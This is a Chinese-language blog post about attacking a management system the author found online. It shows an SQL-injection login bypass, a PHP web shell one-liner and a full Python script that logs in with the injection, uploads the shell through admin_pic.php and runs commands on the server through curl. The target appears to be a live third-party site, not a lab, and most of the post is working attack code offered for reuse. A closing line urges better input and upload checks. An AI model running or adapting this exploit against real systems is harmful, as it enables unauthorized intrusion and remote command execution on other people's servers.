某管理系统代码执行以及脚本表写

日常测试

前言

我习惯于在网上逛逛系统,有天突然逛到国外一管理系统,目测就是小资金开发,像这种类型的一般安全性很差,且存在postsql注入,废话不多说,我们来测试一波。

过程


sql注入成功登录
admin
a’ or 1=1#

最重要的当然是拿shell了,先找上传点

我之前也说过,像这种样的教会安全性也不高,所以我们直接传上一个,远程执行的文件

  1. <?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>

但直接上传之后,啥也没有,没上传上去,这里也并不是说他管理员做了安全防护的,而是这个功能可能并没有做完善了,这个时候我们有两种选择,一:自己写包
二:写脚本。
我选择了二,因为像这种样的网站还有很多,写个脚本以后也方便

方法里清一色的都是get,虽说网站安全很差,但不能都用get吧,我们抓包看一下
这下确认过眼神了,是post方法,后台post并没有发出去,所以没有,我们现在知道了他的上传地址admin_pic.php
接下来还要知道上传到哪里了,这个就比较容易了,因为这是上传的头像,我们直接去头像看看
reg为它的初始化头像,并且我们还发现在未登录的情况下,任何文件都无法打开,这也是我唯一赞赏这个系统的地方了,所以这里还要在脚本里写个登录
经过无数次的验证失败后,终于成功,并且请教了大佬,问题出现在最后的远程代码执行上

关键代码os.system:system函数可以将字符串转化成命令在服务器上运行;我在脚本方面还是比较差的,之前都是直接加载字符串,那怎么可能加载出来啊,大家一定要好好学习一下脚本的制作,我们执行一下看看。

对,还有一个重点session.post直接调用创建session实例后,cookie是一直有效的

  1. import requests
  2. from requests_toolbelt.multipart.encoder import MultipartEncoder
  3. import random
  4. import os, sys
  5. import argparse
  6. import optparse
  7. import string
  8. if len(sys.argv) != 5:
  9. print('Usage: -u http://<ip> -c <"command">')
  10. print('ex. python3 http:-c "ls+-la"')
  11. exit()
  12. parser = optparse.OptionParser()
  13. parser.add_option('-u', '--url', action="store", dest="url")
  14. parser.add_option('-c', '--cmd', action="store", dest="cmd")
  15. options, args = parser.parse_args()
  16. print(options.url, options.cmd)
  17. print(len(sys.argv))
  18. def randomGen(size=8, chars=string.ascii_lowercase):
  19. return ''.join(random.choice(chars) for _ in range(size))
  20. urlb ase = options.url + '/cman/admin';
  21. loginUrl = urlb ase + '/index.php';
  22. shellFile = randomGen() + ".php"
  23. payload = {"username": "admin", "password": "a' or 'a'='a'#", "login": ""};
  24. proxies = {"http": "http://localhost:8080"}
  25. mp_encoder = MultipartEncoder(fields={
  26. "image": (shellFile, "<?php if(isset($_REQUEST['cmd'])){$cmd = ($_REQUEST['cmd']); system($cmd);die; }?>",
  27. "application/x-php"),
  28. "change": ""})
  29. session = requests.Session()
  30. r = session.post(loginUrl, payload, allow_redirects=False) # , proxies=proxies)
  31. cookie = r.headers["Set-Cookie"]
  32. headers = {"Cookie": cookie, 'Content-Type': mp_encoder.content_type}
  33. uploadUrl = urlb ase + "/admin_pic.php"
  34. post = session.post(uploadUrl, data=mp_encoder, allow_redirects=False, headers=headers, proxies=proxies)
  35. os.system("curl " + urlb ase + "/uploads/" + shellFile + "?cmd=" + options.cmd)

源码我也分享出来了,前面的头文件一般都用这几个

总结

像这种样的系统还有很多,我们一定要把最基本的安全做了,比如sql注入,对上传的限制(各种限制都要有,不能只做表面,安全行业的人员一定要加强脚本语言的能力,这点我和大家一样,在努力中。

  • 发表于 2021-07-21 16:05:12
  • 阅读 ( 6290 )
  • 分类:渗透测试

0 条评论

xingshen
xingshen

6 篇文章

站长统计